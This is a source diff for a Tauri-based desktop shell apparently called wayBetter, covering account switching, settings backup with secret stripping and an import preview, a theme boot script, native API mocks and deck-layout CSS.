kind: 'web' | 'start' | 'panel';
/** Profile id as stored on the tab (missing or unknown = default). */
profile?: string;
url?: string;
/** Shown on screen (the visible tab of its group). */
visible: boolean;
};
export type AccountAction =
| { type: 'focus'; paneId: string }
| { type: 'open'; url: string; profile: string; where: 'beside' | 'tab' };
/** The site's pages an account click opens (`site.homeUrl`, `site.loginUrl`, `site.isSiteUrl`). */
export type AccountPages = { homeUrl: string; loginUrl: string; isSiteUrl?: (url: string) => boolean };
/** Where a click on this account lands: its feed once signed in, the site's sign-in otherwise. */
export function accountStartUrl(profile: Profile, pages: Pick<AccountPages, 'homeUrl' | 'loginUrl'>): string {
return profile.account?.signedIn ? pages.homeUrl : pages.loginUrl;
}
/** The account the focused tab runs in (the app's panel has none: the default account). */
export function focusedAccount(settings: ProfileSettings, panes: readonly PaneInfo[], activeId: string | null | undefined): Profile {
const pane = panes.find(item => item.id === activeId);
return tabProfile(settings, pane && pane.kind !== 'panel' ? pane.profile : settings.active);
}
/**
* The click's result. `force` (Shift/Ctrl-click, "Open in new tab") always opens a new tab in the
* focused group. Otherwise a visible web pane of the account is focused (the focused one first, then
* a pane on the site), and only when there is none does a new pane open beside the focused one.
*/
export function accountAction(
settings: ProfileSettings,
panes: readonly PaneInfo[],
activeId: string | null | undefined,
profileId: string,
options: { force?: boolean } & AccountPages,
): AccountAction {
const profile = tabProfile(settings, profileId);
const url = accountStartUrl(profile, options);
if (options.force) return { type: 'open', url, profile: profile.id, where: 'tab' };
const onSite = options.isSiteUrl ?? (() => false);
const mine = panes.filter(pane => pane.kind === 'web' && pane.visible && tabProfile(settings, pane.profile).id === profile.id);
const target = mine.find(pane => pane.id === activeId) ?? mine.find(pane => !!pane.url && onSite(pane.url)) ?? mine[0];
if (target) return { type: 'focus', paneId: target.id };
return { type: 'open', url, profile: profile.id, where: 'beside' };
}
/** "Use for new tabs": the only thing `active` means now. Unknown ids change nothing. */
export const setDefaultAccount = (settings: ProfileSettings, id: string): ProfileSettings =>
settings.profiles.some(profile => profile.id === id) && settings.active !== id ? { ...settings, active: id } : settings;
/** "Add account": a fresh profile for the site's sign-in. It does not become the default. */
export function addAccountProfile(settings: ProfileSettings, id?: string): { settings: ProfileSettings; profile: string } {
const next = addProfile(settings, '', id, key => tx(key, undefined, '') || undefined);
return { settings: { ...next, active: settings.active }, profile: next.active };
}
/** Open tabs per account id (for "N tabs" and for closing them before a remove). */
export function tabsByAccount(settings: ProfileSettings, panes: readonly PaneInfo[]): Map<string, string[]> {
const result = new Map<string, string[]>();
for (const pane of panes) {
if (pane.kind !== 'web') continue;
const id = tabProfile(settings, pane.profile).id;
result.set(id, [...(result.get(id) ?? []), pane.id]);
}
return result;
}
/** Roving focus in the menu: wraps around; Home/End jump to the ends. */
export function moveFocus(index: number, key: string, count: number): number {
if (count <= 0) return -1;
if (key === 'Home') return 0;
if (key === 'End') return count - 1;
if (key === 'ArrowDown') return index < 0 ? 0 : (index + 1) % count;
if (key === 'ArrowUp') return index < 0 ? count - 1 : (index - 1 + count) % count;
return index;
}

View file

@ -0,0 +1,91 @@
/* Titlebar account switcher menu and the per-pane account marker (AccountSwitcher.tsx, WebPanel.tsx).
Tokens come from shell.css (:root --bt-*). */
.bt-acct-menu { width: 340px; max-height: calc(100vh - 64px); overflow-y: auto; scrollbar-width: thin; scrollbar-color: var(--bt-line-strong) transparent; }
.bt-acct-head { display: flex; flex-direction: column; gap: 4px; padding: 8px 10px 8px; }
.bt-acct-head strong { font: 600 13px/1.2 var(--bt-ui); color: var(--bt-text); }
.bt-acct-head span { display: flex; align-items: center; gap: 4px; flex-wrap: wrap; font: 400 12px/1.3 var(--bt-ui); color: var(--bt-muted); }
.bt-acct-head .bt-kbd { height: 16px; min-width: 0; font: 500 10.5px/1 var(--bt-ui); }
/* One account: the whole row is the main action; "…" sits at the right edge. */
.bt-acct-row { position: relative; display: flex; flex-direction: column; border-radius: 10px; }
.bt-acct-line { position: relative; display: flex; align-items: center; }
.bt-acct-row.is-focused { background: rgb(var(--bt-accent-rgb) / .08); box-shadow: inset 0 0 0 1px rgb(var(--bt-accent-rgb) / .22); }
.bt-acct-row.is-focused::before {
content: ''; position: absolute; inset-inline-start: -5px; top: 12px; height: 24px; width: 3px; border-start-start-radius: 0; border-start-end-radius: 3px; border-end-end-radius: 3px; border-end-start-radius: 0; background: var(--bt-accent);
}
.bt-acct-row.is-open { background: rgb(var(--bt-text-rgb) / .035); }
.bt-menu .bt-acct-main { flex: 1; min-width: 0; height: auto; gap: 11px; padding-block: 8px; padding-inline: 8px 40px; border-radius: 10px; }
.bt-menu .bt-acct-main:focus-visible { box-shadow: var(--bt-ring); }
.bt-acct-avatar { position: relative; display: inline-grid; flex: none; }
.bt-acct-avatar.is-signed-out .bt-avatar, .bt-acct-avatar.is-new .bt-avatar { filter: saturate(.35); opacity: .7; }
.bt-acct-avatar.is-signed-out::after, .bt-acct-avatar.is-new::after {
content: ''; position: absolute; inset-inline-end: -1px; bottom: -1px; width: 9px; height: 9px; border-radius: 50%;
background: var(--bt-faint); box-shadow: 0 0 0 2px var(--bt-raised);
}
.bt-acct-text { display: flex; flex-direction: column; gap: 3px; min-width: 0; flex: 1; }
.bt-acct-name { display: flex; align-items: center; gap: 6px; min-width: 0; font: 600 13.5px/1.15 var(--bt-ui); color: var(--bt-text); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.bt-acct-meta { font: 400 12px/1.2 var(--bt-ui); color: var(--bt-muted); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-variant-numeric: tabular-nums; }
.bt-acct-meta.is-signed-out, .bt-acct-meta.is-new { color: #f0b14a; }
.bt-acct-count { color: var(--bt-muted); }
.bt-acct-badge {
flex: none; padding: 2px 6px; border-radius: 999px; background: rgb(var(--bt-text-rgb) / .07); color: var(--bt-text-2);
font: 500 10.5px/1.2 var(--bt-ui); letter-spacing: .01em;
}
/* What the click will do, revealed on hover/focus so the row reads as one obvious action. */
/* Hidden until then, so a long @handle / status gets the full width. */
.bt-acct-hint { display: none; align-items: center; gap: 5px; flex: none; color: var(--bt-accent-ink); font: 500 11.5px/1 var(--bt-ui); animation: bt-acct-hint-in var(--bt-t1) var(--bt-ease-out); }
@keyframes bt-acct-hint-in { from { opacity: 0; transform: translateX(-3px); } }
.bt-acct-hint .bt-glyph { width: 13px; height: 13px; }
.bt-acct-row.is-focused .bt-acct-hint { display: inline-flex; color: var(--bt-accent-ink); }
.bt-acct-main:hover .bt-acct-hint, .bt-acct-main:focus-visible .bt-acct-hint { display: inline-flex; color: var(--bt-accent-ink); }
.bt-menu .bt-acct-more {
position: absolute; inset-inline-end: 6px; top: 50%; transform: translateY(-50%); width: 28px; height: 28px; padding: 0; justify-content: center;
color: var(--bt-muted); opacity: 0; transition: opacity var(--bt-t1) var(--bt-ease);
}
.bt-acct-more svg { width: 16px; height: 16px; fill: currentColor; }
.bt-acct-row:hover .bt-acct-more, .bt-acct-row:focus-within .bt-acct-more, .bt-acct-more[aria-expanded=true] { opacity: 1; }
.bt-menu .bt-acct-more:hover, .bt-menu .bt-acct-more[aria-expanded=true] { color: var(--bt-text); background: var(--bt-press); }
/* Hover hint and "…" share the right edge: the hint moves left of it. */
.bt-acct-row:hover .bt-acct-hint { margin-inline-end: 2px; }
/* Row actions: inline under the row (no second floating layer over the native panes). */
.bt-acct-sub { display: flex; flex-direction: column; gap: 1px; margin-block: 0 6px; margin-inline: 49px 6px; padding-top: 2px; border-top: 1px solid var(--bt-line-soft); }
.bt-menu .bt-acct-sub button { height: 30px; font-size: 12.5px; }
.bt-acct-sub .bt-glyph { width: 15px; height: 15px; }
.bt-acct-sub .bt-menu-keys { font-size: 11px; }
.bt-menu .bt-acct-sub button[aria-checked=true]:disabled { color: var(--bt-text-2); }
.bt-menu .bt-acct-sub button[aria-checked=true]:disabled > .bt-glyph { color: var(--bt-accent); opacity: 1; }
.bt-menu .bt-acct-danger { color: #ff8a80; }
.bt-menu .bt-acct-danger > .bt-glyph { color: #ff8a80; }
.bt-acct-confirm {
display: flex; flex-direction: column; gap: 10px; margin: 2px 6px 6px; padding: 10px 12px; border-radius: 9px;
background: rgba(229, 72, 77, .08); box-shadow: inset 0 0 0 1px rgba(229, 72, 77, .25); color: var(--bt-text-2); font: 400 12.5px/1.45 var(--bt-ui);
}
.bt-acct-confirm strong { color: var(--bt-text); font-weight: 600; }
.bt-acct-confirm div { display: flex; gap: 6px; }
.bt-menu .bt-acct-confirm button { height: 28px; padding: 0 12px; font-weight: 600; font-size: 12.5px; }
.bt-menu .bt-acct-remove { background: var(--bt-danger); color: #fff; }
.bt-menu .bt-acct-remove:hover:not(:disabled), .bt-menu .bt-acct-remove:focus-visible { background: #d93d42; }
.bt-menu .bt-acct-cancel { background: var(--bt-hover); }
.bt-menu .bt-acct-add { height: auto; gap: 11px; padding: 8px; border-radius: 10px; }
.bt-menu .bt-acct-add:focus-visible { box-shadow: var(--bt-ring); }
.bt-acct-add .bt-acct-name { color: var(--bt-text-2); }
.bt-acct-add-icon { display: grid; place-items: center; width: 32px; height: 32px; flex: none; border-radius: 50%; box-shadow: inset 0 0 0 1px var(--bt-line-strong); color: var(--bt-muted); }
.bt-acct-add-icon .bt-glyph { width: 15px; height: 15px; }
.bt-menu .bt-acct-add:hover .bt-acct-add-icon { box-shadow: inset 0 0 0 1px rgb(var(--bt-accent-rgb) / .6); color: var(--bt-accent-ink); }
.bt-acct-error { padding: 6px 10px; color: #ff8a80; font: 12px/1.4 var(--bt-ui); }
/* Each pane's account, left of its address bar (same color as the tab's account dot). */
.bt-pane-account {
display: inline-grid; place-items: center; flex: none; width: 26px; height: 26px; margin-inline-start: 4px; border-radius: 50%;
box-shadow: 0 0 0 1.5px var(--bt-pane-account, var(--bt-line-strong));
}

View file

@ -0,0 +1,187 @@
// Settings backup / import preview (pure, unit-tested under node).
//
// A `.waybetter` file is JSON: `{ format: 'waybetter-backup', version: 1, createdAt, sections }`.
// Native code (waybetter-host `backup`) writes and reads the native sections (themes, plugins,
// customCss, features, settings, alerts, accounts, workspaces, drafts when asked); the shell adds
// its own storage (`decks`: the decks and deck settings). Import shows a preview:
// one row per section with what would change, each with a checkbox; nothing is applied until the
// owner confirms, and only the ticked sections are.
import { relativeTime, t, tx } from './i18n.ts';
export const BACKUP_FORMAT = 'waybetter-backup';
export const BACKUP_VERSION = 1;
/** Sections the shell applies itself (the rest go to native `backup_apply`). */
export const LOCAL_SECTIONS = ['decks'] as const;
/** Backup sections in display order; their names are `wb.backup.section.<id>` in the catalogs. */
export const SECTION_ORDER = ['themes', 'plugins', 'customCss', 'features', 'settings', 'alerts', 'accounts', 'workspaces', 'decks', 'drafts'];
export const sectionLabel = (section: string) => tx(`wb.backup.section.${section}`, undefined, section);
type Json = Record<string, unknown>;
const isObject = (value: unknown): value is Json => !!value && typeof value === 'object' && !Array.isArray(value);
const list = (value: unknown): unknown[] => (Array.isArray(value) ? value : []);
const str = (value: unknown) => (typeof value === 'string' ? value : '');
/** Stable JSON (sorted keys) for equality. */
export function canonical(value: unknown): string {
if (Array.isArray(value)) return `[${value.map(canonical).join(',')}]`;
if (isObject(value)) return `{${Object.keys(value).sort().filter(key => value[key] !== undefined).map(key => `${JSON.stringify(key)}:${canonical(value[key])}`).join(',')}}`;
return JSON.stringify(value ?? null);
}
/** Secret-looking keys (same rule as native `strip_secrets`); never exported, never imported. */
export function isSecretKey(key: string): boolean {
const folded = key.replace(/[_-]/g, '').toLowerCase();
return ['cookie', 'cookies', 'setcookie', 'token', 'tokens', 'accesstoken', 'authtoken', 'refreshtoken', 'idtoken', 'ct0', 'password', 'passphrase', 'secret', 'clientsecret', 'session', 'sessionid', 'authorization', 'bearer', 'csrf', 'csrftoken', 'privatekey', 'signingkey'].includes(folded)
|| folded.endsWith('secret') || folded.endsWith('token') || folded.endsWith('password');
}
export function stripSecrets<T>(value: T): T {
if (Array.isArray(value)) return value.map(stripSecrets) as T;
if (!isObject(value)) return value;
const out: Json = {};
for (const [key, child] of Object.entries(value)) if (!isSecretKey(key)) out[key] = stripSecrets(child);
return out as T;
}
/** The shell's own sections: decks and deck settings (localStorage), never tab state. */
export function localSections(input: { decks: unknown[]; deckSettings: unknown }): Json {
return stripSecrets({ decks: { decks: input.decks, settings: input.deckSettings } });
}
export type SectionRow = {
section: string;
label: string;
/** `same`: nothing would change; `changed`: differs from this computer; `new`: nothing here yet. */
status: 'same' | 'changed' | 'new';
/** Short lines for the preview ("Nord → Paper", "+2 plugins", ...). */
details: string[];
/** Ticked by default: changed sections, except drafts (added only when asked). */
checked: boolean;
};
const names = (items: unknown[], key = 'name', max = 3) => {
const shown = items.map(item => (isObject(item) ? str(item[key]) || str(item.id) : '')).filter(Boolean);
return shown.length > max ? `${shown.slice(0, max).join(', ')} +${shown.length - max}` : shown.join(', ');
};
function themeDetails(current: Json, incoming: Json): string[] {
const out: string[] = [];
const now = isObject(current.theme) ? current.theme : {};
const next = isObject(incoming.theme) ? incoming.theme : {};
const presetNow = str(now.preset) || 'x';
const presetNext = str(next.preset) || 'x';
if (presetNow !== presetNext) out.push(t('wb.backup.detail.theme', { from: presetNow, to: presetNext }));
const ids = (theme: Json) => list(theme.themes).map(item => (isObject(item) ? str(item.id) : '')).filter(Boolean);
const added = ids(next).filter(id => !ids(now).includes(id));
if (added.length) out.push(t('wb.backup.detail.importedThemes', { count: added.length, names: added.slice(0, 3).join(', ') }));
if (canonical(now.accent) !== canonical(next.accent) || canonical(now.overrides) !== canonical(next.overrides)) out.push(t('wb.backup.detail.customizations'));
const scopes = isObject(incoming.scopes) ? incoming.scopes : {};
const accounts = isObject(scopes.profiles) ? Object.keys(scopes.profiles).length : 0;
if (canonical(current.scopes) !== canonical(incoming.scopes)) out.push(accounts ? t('wb.backup.detail.scopesAccounts', { count: accounts }) : t('wb.backup.detail.scopes'));
return out;
}
function pluginDetails(current: Json, incoming: Json): string[] {
const out: string[] = [];
const files = (section: Json) => new Map(list(section.files).filter(isObject).map(file => [str(file.file), str(file.source)]));
const now = files(current);
const next = files(incoming);
const added = [...next.keys()].filter(file => !now.has(file));
const changed = [...next.keys()].filter(file => now.has(file) && now.get(file) !== next.get(file));
if (added.length) out.push(t('wb.backup.detail.newPlugins', { count: added.length, names: added.slice(0, 3).join(', ') }));
if (changed.length) out.push(t('wb.backup.detail.changed', { count: changed.length, names: changed.slice(0, 3).join(', ') }));
const enabledNow = new Set(list(current.enabled).map(str));
const enabledNext = new Set(list(incoming.enabled).map(str));
const on = [...enabledNext].filter(file => !enabledNow.has(file));
const off = [...enabledNow].filter(file => !enabledNext.has(file));
const short = (files: string[]) => `${files.slice(0, 3).map(file => file.replace(/\.plugin\.js$/, '')).join(', ')}${files.length > 3 ? ` +${files.length - 3}` : ''}`;
if (on.length) out.push(t('wb.backup.detail.turnsOn', { names: short(on) }));
if (off.length) out.push(t('wb.backup.detail.turnsOff', { names: short(off) }));
return out;
}
function keyDetails(current: Json, incoming: Json, kind: 'tweak' | 'setting'): string[] {
const keys = [...new Set([...Object.keys(current), ...Object.keys(incoming)])].filter(key => canonical(current[key]) !== canonical(incoming[key]));
if (!keys.length) return [];
const names = `${keys.slice(0, 4).join(', ')}${keys.length > 4 ? ' …' : ''}`;
return [kind === 'tweak' ? t('wb.backup.detail.tweaksDiffer', { count: keys.length, names }) : t('wb.backup.detail.settingsDiffer', { count: keys.length, names })];
}
function details(section: string, current: Json, incoming: Json): string[] {
switch (section) {
case 'themes': return themeDetails(current, incoming);
case 'plugins': return pluginDetails(current, incoming);
case 'customCss': return [t('wb.backup.detail.css', { count: str(incoming.css).length, here: str(current.css).length })];
case 'features': return keyDetails(current, incoming, 'tweak');
case 'settings': return keyDetails(current, incoming, 'setting');
case 'alerts': {
const now = new Set(list(current.keywords).map(str));
const next = list(incoming.keywords).map(str);
const added = next.filter(word => !now.has(word));
const summary = incoming.enabled ? t('wb.backup.alertsOn', { count: next.length }) : `${t('wb.common.off')} · ${t('wb.backup.detail.keywords', { count: next.length })}`;
return [`${summary}${added.length ? ` (+${added.slice(0, 3).join(', ')})` : ''}`];
}
case 'accounts': {
const now = new Map(list(current.profiles).filter(isObject).map(profile => [str(profile.id), profile]));
const next = list(incoming.profiles).filter(isObject);
const added = next.filter(profile => !now.has(str(profile.id)));
const renamed = next.filter(profile => now.has(str(profile.id)) && canonical(now.get(str(profile.id))) !== canonical(profile));
const out: string[] = [];
if (added.length) out.push(t('wb.backup.detail.addsAccounts', { names: names(added) }));
if (renamed.length) out.push(t('wb.backup.detail.renames', { names: names(renamed) }));
out.push(t('wb.backup.detail.noneRemoved'));
return out;
}
case 'workspaces': {
const now = new Set(list(current.items).filter(isObject).map(item => str(item.id)));
const next = list(incoming.items).filter(isObject);
const added = next.filter(item => !now.has(str(item.id)));
return [added.length ? t('wb.backup.detail.workspacesNew', { count: next.length, names: names(added) }) : t('wb.backup.detail.workspaces', { count: next.length })];
}
case 'decks': {
const next = list(incoming.decks).filter(isObject);
return [t('wb.backup.detail.decks', { count: next.length, names: names(next) })];
}
case 'drafts': {
const count = list(incoming.drafts).length;
return [t('wb.backup.detail.drafts', { count })];
}
default: return [];
}
}
/** One preview row per section present in `incoming`, in display order. */
export function diffSections(current: Json, incoming: Json): SectionRow[] {
const rows: SectionRow[] = [];
for (const section of SECTION_ORDER) {
const next = incoming[section];
if (!isObject(next)) continue;
const now = isObject(current[section]) ? current[section] as Json : null;
const same = !!now && canonical(now) === canonical(next);
const status: SectionRow['status'] = same ? 'same' : now && Object.keys(now).length ? 'changed' : 'new';
const lines = same ? [t('wb.backup.detail.same')] : details(section, now ?? {}, next);
rows.push({ section, label: sectionLabel(section), status, details: lines.length ? lines : [t('wb.backup.detail.differs')], checked: !same && section !== 'drafts' });
}
return rows;
}
/** Splits the ticked sections into what native code applies and what the shell applies. */
export function pickSections(incoming: Json, chosen: Iterable<string>): { native: Json; local: Json } {
const native: Json = {};
const local: Json = {};
for (const section of chosen) {
const value = incoming[section];
if (!isObject(value) || !SECTION_ORDER.includes(section)) continue;
const clean = stripSecrets(value);
if ((LOCAL_SECTIONS as readonly string[]).includes(section)) local[section] = clean; else native[section] = clean;
}
return { native, local };
}
/** "3 minutes ago" / "yesterday" for sync snapshot times, in the active language. */
export function ago(ms: number, now = Date.now()): string {
return relativeTime(Math.min(ms, now), now);
}

View file

@ -0,0 +1,37 @@
// The first-frame script (`boot.js`, a classic script in the shell page's <head>): the chrome
// colors the global theme had last time (themeStore.ts writes them under BOOT_CACHE_KEY), so a light
// theme never starts on the dark default while the shell's modules and the persisted theme load.
// Shell webview only: other local webviews of the app (e.g. a popover) share the page and paint
// their own background. The app serves `bootScript()` as `/boot.js` (see the README: a Vite
// plugin or a build step writes it; nothing is copied by hand).
/** localStorage key of the last chrome variables (`--wb-*` name → value). */
export const BOOT_CACHE_KEY = 'bt.chrome.vars';
/** The page ground before any theme (Night Ink), as shell.css paints it. */
export const BOOT_GROUND = '#07080c';
/** The boot script's source. `label`: the shell webview's label (waybetter-host `policy::SHELL_LABEL`). */
export function bootScript(options: { label?: string } = {}): string {
const label = JSON.stringify(options.label ?? 'shell');
return `// Generated from waybetter/shell/frame/boot (bootScript): runs before the shell's first frame and
// paints the chrome colors the global theme had last time (${BOOT_CACHE_KEY}).
(() => {
try {
const label = window.__TAURI_INTERNALS__?.metadata?.currentWebview?.label;
if (label !== ${label}) return;
const vars = JSON.parse(localStorage.getItem(${JSON.stringify(BOOT_CACHE_KEY)}) || 'null');
if (!vars || typeof vars !== 'object') return;
const root = document.documentElement;
for (const [name, value] of Object.entries(vars)) {
if (/^--wb-[a-z]-[a-z0-9-]+$/.test(name) && typeof value === 'string' && value.length < 400) root.style.setProperty(name, value);
}
// shell.css (loaded with the shell's modules) paints the same ground; this rule only covers
// the frames before it, and \`html.bt-raised\` (more specific) still clears it.
const style = document.createElement('style');
style.textContent = 'html{background:var(--wb-c-ground,${BOOT_GROUND})}';
document.head.appendChild(style);
} catch { /* No cache yet or blocked storage: the default ground. */ }
})();
`;
}

File diff suppressed because one or more lines are too long

View file

@ -0,0 +1,76 @@
// The shell frame's line to native code. The app passes its own Tauri API (`@tauri-apps/api`
// `invoke`, `listen`, `getCurrentWindow`) through `createShell`, so the framework has no Tauri
// dependency and the app keeps its version. `call` normalizes errors; `installPreviewMocks` stands
// in for native code in a plain browser (the dev preview harnesses: every command answered from
// memory, events delivered with `emit`).
// No React; pure enough for node tests (nothing runs until a command is called).
import type { NativeWindow } from '../windowControls.ts';
export type Invoke = <T = unknown>(command: string, args?: Record<string, unknown>) => Promise<T>;
export type Listen = <T = unknown>(event: string, handler: (event: { payload: T }) => void) => Promise<() => void>;
/** The Tauri `Window` calls the frame makes (window controls, and the window's own background). */
export type ShellWindow = NativeWindow & { setBackgroundColor(color: [number, number, number, number]): Promise<void> };
export type NativeApi = { invoke: Invoke; listen: Listen; currentWindow: () => ShellWindow };
let api: NativeApi | null = null;
export function setNative(native: NativeApi) {
api = native;
}
function need(): NativeApi {
if (!api) throw new Error('wayBetter shell: createShell(site) first (no native API)');
return api;
}
/** A native command (rejects with an Error whose message is native code's `CODE: detail`). */
export const invoke: Invoke = async <T>(command: string, args?: Record<string, unknown>) => {
try { return await need().invoke<T>(command, args); }
catch (error) { throw error instanceof Error ? error : new Error(String(error)); }
};
/** A native event; resolves to its unlisten function (rejects outside Tauri without mocks). */
export const listen: Listen = (event, handler) => {
try { return need().listen(event, handler); }
catch (error) { return Promise.reject(error); }
};
export const currentWindow = () => need().currentWindow();
/** Tauri's IPC is present (the real app, or a preview with mocks installed). */
export const isNative = () => typeof globalThis === 'object' && '__TAURI_INTERNALS__' in globalThis;
export type MockHandler = (args: Record<string, unknown>) => unknown;
/**
* Development only: answers native commands from `handlers` (`window.__TAURI_INTERNALS__`, which
* `@tauri-apps/api` reads) so the real shell renders in a plain browser. Event listeners are
* mocked too; `emit(event, payload)` delivers an event to them. Unknown commands reject (and warn).
*/
export function installPreviewMocks(handlers: Record<string, MockHandler>, options: { label?: string; name?: string } = {}) {
const label = options.label ?? 'shell';
let callbackId = 0;
const callbacks = new Map<number, (message: unknown) => void>();
const listeners: Record<string, number[]> = {};
// Tauri's event plugin; `handlers` is read on every call, so commands can be added later.
const events: Record<string, MockHandler> = {
'plugin:event|listen': ({ event, handler }) => { (listeners[String(event)] ??= []).push(Number(handler)); return Number(handler); },
'plugin:event|unlisten': () => null,
};
const emit = (event: string, payload: unknown) =>
(listeners[event] ?? []).forEach(id => callbacks.get(id)?.({ event, id, payload }));
const target = window as unknown as Record<string, unknown>;
target.__TAURI_INTERNALS__ = {
invoke: async (cmd: string, args: Record<string, unknown> = {}) => {
const handler = handlers[cmd] ?? events[cmd];
if (!handler) { console.warn(`[${options.name ?? 'preview'}] ${cmd} is not mocked`); throw new Error(`Preview: ${cmd} is not mocked`); }
return structuredClone(await handler(args));
},
transformCallback: (callback: (message: unknown) => void) => { callbacks.set(++callbackId, callback); return callbackId; },
unregisterCallback: () => {},
metadata: { currentWindow: { label }, currentWebview: { label } },
};
target.__TAURI_EVENT_PLUGIN_INTERNALS__ = { unregisterListener: () => {} };
return { handlers, emit };
}

View file

@ -0,0 +1,86 @@
// The app's own window in the active theme: the theme's palette and its chrome/mono fonts become
// the shell's `--wb-c-*` (tabs, address bar, titlebar, menus) and the panel's `--wb-p-*` tokens,
// which shell.css (and the app's panel CSS) read with Night Ink as the fallback. Pure (tests,
// shell, panel). The app turns its theme documents into a `ChromeTheme` (site.themes.chrome).
/** The shell's own interface font (what an inheriting chrome role falls back to outside the page). */
export const SHELL_UI_FONT = "'Geist Variable', system-ui, sans-serif";
export const SHELL_MONO_FONT = "'Geist Mono Variable', ui-monospace, monospace";
/** A theme as the chrome needs it: seven colors (none: the site's own colors) and two font stacks. */
export type ChromeTheme = {
colors?: { bg: string; surface: string; elevated: string; border: string; text: string; muted: string; accent: string } | null;
/** The chrome's font stack when the theme sets one other than SHELL_UI_FONT. */
chromeFont?: string | null;
/** The mono font stack when the theme sets one. */
monoFont?: string | null;
};
function hexToRgb(hex: string): [number, number, number] {
const n = parseInt(hex.slice(1), 16);
return [(n >> 16) & 255, (n >> 8) & 255, n & 255];
}
const toHex = (rgb: number[]) => `#${rgb.map(v => Math.round(Math.min(255, Math.max(0, v))).toString(16).padStart(2, '0')).join('')}`;
export function luminance(hex: string): number {
const [r, g, b] = hexToRgb(hex).map(v => { const c = v / 255; return c <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4; }) as [number, number, number];
return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}
export function contrast(a: string, b: string): number {
const [x, y] = [luminance(a), luminance(b)].sort((m, n) => n - m) as [number, number];
return (x + 0.05) / (y + 0.05);
}
export function mix(a: string, b: string, t: number): string {
const [x, y] = [hexToRgb(a), hexToRgb(b)];
return toHex(x.map((v, i) => v + (y[i]! - v) * t));
}
const channels = (hex: string) => hexToRgb(hex).join(' ');
/** Moves `color` toward `pole` until it reads at `ratio` on `surface`. */
function legible(color: string, surface: string, ratio: number): string {
if (contrast(color, surface) >= ratio) return color;
const pole = luminance(surface) > 0.18 ? '#000000' : '#ffffff';
for (let t = 0.1; t <= 1; t += 0.1) { const next = mix(color, pole, t); if (contrast(next, surface) >= ratio) return next; }
return pole;
}
/**
* CSS custom properties for the chrome in `theme`. A theme that keeps the site's colors changes
* only the fonts; `own` keeps wayBetter's own style entirely (empty result).
*/
export function chromeVars(theme: ChromeTheme, own = false): Record<string, string> {
if (own) return {};
const vars: Record<string, string> = {};
// The chrome inherits the theme's interface font (a web font of the site is not available here: then Geist).
if (theme.chromeFont) vars['--wb-f-chrome'] = theme.chromeFont;
if (theme.monoFont) vars['--wb-f-mono'] = theme.monoFont;
const colors = theme.colors;
if (!colors) return vars;
const { bg, surface, elevated, border, text, muted, accent } = colors;
const dark = luminance(bg) < luminance(text);
const ink = legible(mix(accent, text, 0.55), elevated, 4.5);
Object.assign(vars, {
// Shell chrome: the ground under the tabs is the theme's column background.
'--wb-c-ground': bg, '--wb-c-chrome': surface, '--wb-c-field': mix(surface, elevated, 0.45),
'--wb-c-raised': elevated, '--wb-c-raised-2': mix(elevated, border, 0.45),
'--wb-c-line': border, '--wb-c-line-soft': mix(border, bg, 0.45), '--wb-c-line-strong': mix(border, text, 0.14),
'--wb-c-text': text, '--wb-c-text-2': mix(text, muted, 0.4), '--wb-c-muted': muted, '--wb-c-faint': mix(muted, bg, 0.38),
'--wb-c-text-rgb': channels(text), '--wb-c-accent': accent, '--wb-c-accent-rgb': channels(accent), '--wb-c-accent-ink': ink,
'--wb-c-scheme': dark ? 'dark' : 'light',
...(dark ? {} : { '--wb-c-shadow-pop': `0 18px 44px -14px rgba(${hexToRgb(mix(text, bg, 0.2)).join(', ')}, .28), 0 3px 10px rgba(0, 0, 0, .08)` }),
// Panel.
'--wb-p-ground': bg, '--wb-p-chrome': mix(bg, surface, 0.5), '--wb-p-card': surface, '--wb-p-field': mix(surface, elevated, 0.5), '--wb-p-raise': elevated,
'--wb-p-line': border, '--wb-p-line-soft': mix(border, bg, 0.4), '--wb-p-line-strong': mix(border, text, 0.16),
'--wb-p-text': text, '--wb-p-text-2': mix(text, muted, 0.3), '--wb-p-muted': muted, '--wb-p-faint': mix(muted, bg, 0.35),
'--wb-p-accent': accent, '--wb-p-accent-rgb': channels(accent), '--wb-p-accent-ink': contrast(accent, '#ffffff') >= contrast(accent, bg) ? '#ffffff' : bg,
'--wb-p-text-rgb': channels(text), '--wb-p-popover': elevated, '--wb-p-thumb': `linear-gradient(180deg, ${mix(elevated, text, 0.08)}, ${elevated})`,
'--wb-p-track': mix(elevated, border, 0.5), '--wb-p-knob': mix(muted, text, 0.3),
});
return vars;
}
/** Every variable chromeVars may set (to clear them when a pane returns to the global theme). */
export const CHROME_VAR_NAMES = Object.keys(chromeVars({
colors: { bg: '#000000', surface: '#111111', elevated: '#222222', border: '#333333', text: '#ffffff', muted: '#999999', accent: '#1d9bf0' },
chromeFont: 'A', monoFont: 'B',
})).concat('--wb-c-shadow-pop');

View file

@ -0,0 +1,209 @@
/*
* Decks: the deck tab. A 40px deck bar, then a row of column cards. Each card is a 46px
* header over a body that a site tab webview covers exactly (so the body is square and flush with
* the window bottom; only the header is ours). Night Ink tokens from shell.css.
*/
.bt-deck { position: relative; height: 100%; display: flex; flex-direction: column; background: var(--bt-ground); color: var(--bt-text); overflow: hidden; }
/* The deck's dockview tab: unread total. */
.bt-tab-unread { flex: none; min-width: 16px; height: 16px; padding: 0 5px; box-sizing: border-box; border-radius: 999px; background: var(--bt-accent); color: #fff; font: 700 10px/16px var(--bt-mono); text-align: center; }
/* Deck bar ---------------------------------------------------------------------------------- */
.bt-deck-bar { flex: none; display: flex; align-items: center; gap: 10px; height: 40px; padding-block: 0; padding-inline: 14px 10px; }
.bt-deck-mark { display: grid; place-items: center; width: 22px; height: 22px; border-radius: 7px; background: linear-gradient(135deg, rgba(79, 107, 255, .28), rgba(34, 211, 238, .18)); box-shadow: inset 0 0 0 1px rgba(159, 211, 255, .18); color: #bfe0ff; }
.bt-deck-mark .bt-glyph { width: 13px; height: 13px; }
.bt-deck-name { font: 650 13.5px/1 var(--bt-ui); letter-spacing: -.01em; }
.bt-deck-count { color: var(--bt-faint); font: 500 11.5px/1 var(--bt-ui); }
.bt-deck-total { padding: 4px 8px; border-radius: 999px; background: var(--bt-accent-soft); color: var(--bt-accent-ink); font: 600 11px/1 var(--bt-mono); box-shadow: inset 0 0 0 1px rgba(29, 155, 240, .28); }
.bt-deck-fill { flex: 1; }
